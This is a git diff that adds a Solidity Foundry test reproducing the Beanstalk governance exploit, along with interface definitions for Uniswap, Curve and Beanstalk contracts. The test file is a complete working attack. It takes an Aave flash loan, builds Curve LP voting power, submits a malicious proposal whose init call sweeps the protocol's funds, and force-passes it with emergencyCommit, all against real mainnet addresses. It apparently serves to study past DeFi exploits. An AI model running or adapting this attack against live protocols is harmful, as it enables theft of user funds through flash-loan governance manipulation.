diff --git a/.gitignore b/.gitignore index f49938ec..30d7df54 100644 --- a/.gitignore +++ b/.gitignore @@ -1,2 +1,3 @@ /cache/ /out/ +/.vscode/ diff --git a/src/test/Beanstalk_exp.sol b/src/test/Beanstalk_exp.sol new file mode 100644 index 00000000..4036376b --- /dev/null +++ b/src/test/Beanstalk_exp.sol @@ -0,0 +1,183 @@ +// SPDX-License-Identifier: UNLICENSED +// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !! +pragma solidity >=0.7.0 <0.9.0; + +import "ds-test/test.sol"; +import "./interface.sol"; + +contract ContractTest is DSTest { + CheatCodes cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); + ILendingPool aavelendingPool = + ILendingPool(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9); + IERC20 dai = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F); + IERC20 usdc = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); + IERC20 usdt = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7); + IERC20 bean = IERC20(0xDC59ac4FeFa32293A95889Dc396682858d52e5Db); + IERC20 crvbean = IERC20(0x3a70DfA7d2262988064A2D051dd47521E43c9BdD); + IERC20 threeCrv = IERC20(0x6c3F90f043a72FA612cbac8115EE7e52BDe6E490); + IUniswapV2Router uniswapv2 = + IUniswapV2Router(payable(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)); + ICurvePool threeCrvPool = + ICurvePool(0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7); + ICurvePool bean3Crv_f = + ICurvePool(0x3a70DfA7d2262988064A2D051dd47521E43c9BdD); + IBeanStalk siloV2Facet = + IBeanStalk(0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5); + IBeanStalk beanstalkgov = + IBeanStalk(0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5); + address maliciousProposal = 0xE5eCF73603D98A0128F05ed30506ac7A663dBb69; + uint32 bip = 18; + + constructor() { + dai.approve(address(aavelendingPool), type(uint256).max); + usdc.approve(address(aavelendingPool), type(uint256).max); + TransferHelper.safeApprove( + address(usdt), + address(aavelendingPool), + type(uint256).max + ); + bean.approve(address(aavelendingPool), type(uint256).max); + dai.approve(address(threeCrvPool), type(uint256).max); + usdc.approve(address(threeCrvPool), type(uint256).max); + TransferHelper.safeApprove( + address(usdt), + address(threeCrvPool), + type(uint256).max + ); + bean.approve(address(siloV2Facet), type(uint256).max); + threeCrv.approve(address(bean3Crv_f), type(uint256).max); + IERC20(address(bean3Crv_f)).approve( + address(siloV2Facet), + type(uint256).max + ); + } + + function testExploit() public { + address[] memory path = new address[](2); + path[0] = uniswapv2.WETH(); + path[1] = address(bean); + uniswapv2.swapExactETHForTokens{value: 75 ether}( + 0, + path, + address(this), + block.timestamp + 120 + ); + emit log_named_uint( + "Initial USDC balancer of attacker", + usdc.balanceOf(address(this)) + ); + + emit log_named_uint( + "After initial ETH -> BEAN swap, Bean balance of attacker:", + bean.balanceOf(address(this)) / 1e6 + ); + siloV2Facet.depositBeans(bean.balanceOf(address(this))); + emit log_named_uint( + "After BEAN deposit to SiloV2Facet, Bean balance of attacker:", + bean.balanceOf(address(this)) / 1e6 + ); + IBeanStalk.FacetCut[] memory _diamondCut = new IBeanStalk.FacetCut[](0); + bytes memory data = abi.encodeWithSelector(ContractTest.sweep.selector); + //emit log_named_uint("BIP:", bip); + beanstalkgov.propose(_diamondCut, address(this), data, 3); + uint256[3] memory tempAmounts; + + address[] memory assets = new address[](3); + assets[0] = address(dai); + assets[1] = address(usdc); + assets[2] = address(usdt); + + uint256[] memory amounts = new uint256[](3); + amounts[0] = 350_000_000 * 10**dai.decimals(); + amounts[1] = 500_000_000 * 10**usdc.decimals(); + amounts[2] = 150_000_000 * 10**usdt.decimals(); + + uint256[] memory modes = new uint256[](3); + aavelendingPool.flashLoan( + address(this), + assets, + amounts, + modes, + address(this), + new bytes(0), + 0 + ); + usdc.transfer(msg.sender, usdc.balanceOf(address(this))); + } + + function executeOperation( + address[] calldata assets, + uint256[] calldata amounts, + uint256[] calldata premiums, + address initiator, + bytes calldata params + ) external returns (bool) { + emit log_named_uint( + "After deposit, Bean balance of attacker:", + bean.balanceOf(address(this)) / 1e6 + ); // @note redundant log + uint256[3] memory tempAmounts; + tempAmounts[0] = amounts[0]; + tempAmounts[1] = amounts[1]; + tempAmounts[2] = amounts[2]; + threeCrvPool.add_liquidity(tempAmounts, 0); + uint256[2] memory tempAmounts2; + tempAmounts2[0] = 0; + tempAmounts2[1] = threeCrv.balanceOf(address(this)); + bean3Crv_f.add_liquidity(tempAmounts2, 0); + emit log_named_uint( + "After adding 3crv liquidity , bean3Crv_f balance of attacker:", + crvbean.balanceOf(address(this)) + ); + emit log_named_uint( + "After , Curvebean3Crv_f balance of attacker:", + IERC20(address(bean3Crv_f)).balanceOf(address(this)) + ); //@note logging balance for same token ? + siloV2Facet.deposit( + address(bean3Crv_f), + IERC20(address(bean3Crv_f)).balanceOf(address(this)) + ); + cheat.warp(block.timestamp + 24 * 60 * 60); //travelling 1 day in the future + //beanstalkgov.vote(bip); --> this line not needed, as beanstalkgov.propose() already votes for our bip + beanstalkgov.emergencyCommit(bip); + emit log_named_uint( + "After calling beanstalkgov.emergencyCommit() , bean3Crv_f balance of attacker:", + crvbean.balanceOf(address(this)) + ); + bean3Crv_f.remove_liquidity_one_coin( + IERC20(address(bean3Crv_f)).balanceOf(address(this)), + 1, + 0 + ); + emit log_named_uint( + "After removing liquidity from crvbean pool , bean3Crv_f balance of attacker:", + crvbean.balanceOf(address(this)) + ); + tempAmounts[0] = amounts[0] + premiums[0]; + tempAmounts[1] = amounts[1] + premiums[1]; + tempAmounts[2] = amounts[2] + premiums[2]; + threeCrvPool.remove_liquidity_imbalance(tempAmounts, type(uint256).max); + threeCrvPool.remove_liquidity_one_coin( + threeCrv.balanceOf(address(this)), + 1, + 0 + ); + + emit log_named_uint( + "After removing 3crv liquidity from 3crv pool, usdc balance of attacker:", + usdc.balanceOf(address(this)) + ); + + return true; + } + + function sweep() external { + IERC20 erc20bean3Crv_f = IERC20( + 0x3a70DfA7d2262988064A2D051dd47521E43c9BdD + ); + erc20bean3Crv_f.transfer( + msg.sender, + erc20bean3Crv_f.balanceOf(address(this)) + ); //Just for verification, so keep other tokens + } +} diff --git a/src/test/interface.sol b/src/test/interface.sol index fe384bfc..dfb90a62 100644 --- a/src/test/interface.sol +++ b/src/test/interface.sol @@ -3813,4 +3813,375 @@ interface IHarvestUsdcVault { function withdraw(uint256 numberOfShares) external; function balanceOf(address account) external view returns (uint256); -} \ No newline at end of file +} + +interface IUniswapV2Router { + function WETH() external view returns (address); + + function addLiquidity( + address tokenA, + address tokenB, + uint256 amountADesired, + uint256 amountBDesired, + uint256 amountAMin, + uint256 amountBMin, + address to, + uint256 deadline + ) + external + returns ( + uint256 amountA, + uint256 amountB, + uint256 liquidity + ); + + function addLiquidityETH( + address token, + uint256 amountTokenDesired, + uint256 amountTokenMin, + uint256 amountETHMin, + address to, + uint256 deadline + ) + external + payable + returns ( + uint256 amountToken, + uint256 amountETH, + uint256 liquidity + ); + + function factory() external view returns (address); + + function getAmountIn( + uint256 amountOut, + uint256 reserveIn, + uint256 reserveOut + ) external pure returns (uint256 amountIn); + + function getAmountOut( + uint256 amountIn, + uint256 reserveIn, + uint256 reserveOut + ) external pure returns (uint256 amountOut); + + function getAmountsIn(uint256 amountOut, address[] memory path) + external + view + returns (uint256[] memory amounts); + + function getAmountsOut(uint256 amountIn, address[] memory path) + external + view + returns (uint256[] memory amounts); + + function quote( + uint256 amountA, + uint256 reserveA, + uint256 reserveB + ) external pure returns (uint256 amountB); + + function removeLiquidity( + address tokenA, + address tokenB, + uint256 liquidity, + uint256 amountAMin, + uint256 amountBMin, + address to, + uint256 deadline + ) external returns (uint256 amountA, uint256 amountB); + + function removeLiquidityETH( + address token, + uint256 liquidity, + uint256 amountTokenMin, + uint256 amountETHMin, + address to, + uint256 deadline + ) external returns (uint256 amountToken, uint256 amountETH); + + function removeLiquidityETHSupportingFeeOnTransferTokens( + address token, + uint256 liquidity, + uint256 amountTokenMin, + uint256 amountETHMin, + address to, + uint256 deadline + ) external returns (uint256 amountETH); + + function removeLiquidityETHWithPermit( + address token, + uint256 liquidity, + uint256 amountTokenMin, + uint256 amountETHMin, + address to, + uint256 deadline, + bool approveMax, + uint8 v, + bytes32 r, + bytes32 s + ) external returns (uint256 amountToken, uint256 amountETH); + + function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( + address token, + uint256 liquidity, + uint256 amountTokenMin, + uint256 amountETHMin, + address to, + uint256 deadline, + bool approveMax, + uint8 v, + bytes32 r, + bytes32 s + ) external returns (uint256 amountETH); + + function removeLiquidityWithPermit( + address tokenA, + address tokenB, + uint256 liquidity, + uint256 amountAMin, + uint256 amountBMin, + address to, + uint256 deadline, + bool approveMax, + uint8 v, + bytes32 r, + bytes32 s + ) external returns (uint256 amountA, uint256 amountB); + + function swapETHForExactTokens( + uint256 amountOut, + address[] memory path, + address to, + uint256 deadline + ) external payable returns (uint256[] memory amounts); + + function swapExactETHForTokens( + uint256 amountOutMin, + address[] memory path, + address to, + uint256 deadline + ) external payable returns (uint256[] memory amounts); + + function swapExactETHForTokensSupportingFeeOnTransferTokens( + uint256 amountOutMin, + address[] memory path, + address to, + uint256 deadline + ) external payable; + + function swapExactTokensForETH( + uint256 amountIn, + uint256 amountOutMin, + address[] memory path, + address to, + uint256 deadline + ) external returns (uint256[] memory amounts); + + function swapExactTokensForETHSupportingFeeOnTransferTokens( + uint256 amountIn, + uint256 amountOutMin, + address[] memory path, + address to, + uint256 deadline + ) external; + + function swapExactTokensForTokens( + uint256 amountIn, + uint256 amountOutMin, + address[] memory path, + address to, + uint256 deadline + ) external returns (uint256[] memory amounts); + + function swapExactTokensForTokensSupportingFeeOnTransferTokens( + uint256 amountIn, + uint256 amountOutMin, + address[] memory path, + address to, + uint256 deadline + ) external; + + function swapTokensForExactETH( + uint256 amountOut, + uint256 amountInMax, + address[] memory path, + address to, + uint256 deadline + ) external returns (uint256[] memory amounts); + + function swapTokensForExactTokens( + uint256 amountOut, + uint256 amountInMax, + address[] memory path, + address to, + uint256 deadline + ) external returns (uint256[] memory amounts); + + receive() external payable; +} +interface ICurvePool { + function A() external view returns (uint256 out); + + function add_liquidity(uint256[2] memory amounts, uint256 min_mint_amount) external; + + function add_liquidity(uint256[3] memory amounts, uint256 min_mint_amount) external; + + function add_liquidity(uint256[4] memory amounts, uint256 min_mint_amount) external; + + function admin_fee() external view returns (uint256 out); + + function balances(uint256 arg0) external view returns (uint256 out); + + function calc_token_amount(uint256[] memory amounts, bool is_deposit) external view returns (uint256 lp_tokens); + + /// @dev vyper upgrade changed this on us + function coins(int128 arg0) external view returns (address out); + + /// @dev vyper upgrade changed this on us + function coins(uint256 arg0) external view returns (address out); + + /// @dev vyper upgrade changed this on us + function underlying_coins(int128 arg0) external view returns (address out); + + /// @dev vyper upgrade changed this on us + function underlying_coins(uint256 arg0) external view returns (address out); + + function exchange( + int128 i, + int128 j, + uint256 dx, + uint256 min_dy + ) external; + + // newer pools have this improved version of exchange_underlying + function exchange( + int128 i, + int128 j, + uint256 dx, + uint256 min_dy, + address receiver + ) external returns (uint256); + + function exchange_underlying( + int128 i, + int128 j, + uint256 dx, + uint256 min_dy + ) external; + + function fee() external view returns (uint256 out); + + function future_A() external view returns (uint256 out); + + function future_fee() external view returns (uint256 out); + + function future_admin_fee() external view returns (uint256 out); + + function get_dy( + int128 i, + int128 j, + uint256 dx + ) external view returns (uint256); + + function get_dy_underlying( + int128 i, + int128 j, + uint256 dx + ) external view returns (uint256); + + function get_virtual_price() external view returns (uint256 out); + + function remove_liquidity(uint256 token_amount, uint256[3] memory min_amounts) external returns (uint256[3] memory); + + function remove_liquidity_imbalance(uint256[3] memory amounts, uint256 max_burn_amount) external; + + function remove_liquidity_one_coin( + uint256 token_amount, + int128 i, + uint256 min_amount + ) external; +} +interface IBeanStalk { + function depositBeans(uint256) external; + + function emergencyCommit(uint32 bip) external; + + function deposit(address token, uint256 amount) external; + + function vote(uint32 bip) external; + + function bip(uint32 bipId) + external + view + returns ( + address, + uint32, + uint32, + bool, + int256, + uint128, + uint256, + uint256 + ); + struct FacetCut { + address facetAddress; + uint8 action; + bytes4[] functionSelectors; + } + function propose( + FacetCut[] calldata _diamondCut, + address _init, + bytes calldata _calldata, + uint8 _pauseOrUnpause + ) external; + function numberOfBips() external view returns (uint32); + + +} +library TransferHelper { + function safeApprove( + address token, + address to, + uint256 value + ) internal { + // bytes4(keccak256(bytes('approve(address,uint256)'))); + (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); + require( + success && (data.length == 0 || abi.decode(data, (bool))), + 'TransferHelper::safeApprove: approve failed' + ); + } + + function safeTransfer( + address token, + address to, + uint256 value + ) internal { + // bytes4(keccak256(bytes('transfer(address,uint256)'))); + (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); + require( + success && (data.length == 0 || abi.decode(data, (bool))), + 'TransferHelper::safeTransfer: transfer failed' + ); + } + + function safeTransferFrom( + address token, + address from, + address to, + uint256 value + ) internal { + // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); + (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); + require( + success && (data.length == 0 || abi.decode(data, (bool))), + 'TransferHelper::transferFrom: transferFrom failed' + ); + } + + function safeTransferETH(address to, uint256 value) internal { + (bool success, ) = to.call{value: value}(new bytes(0)); + require(success, 'TransferHelper::safeTransferETH: ETH transfer failed'); + } +}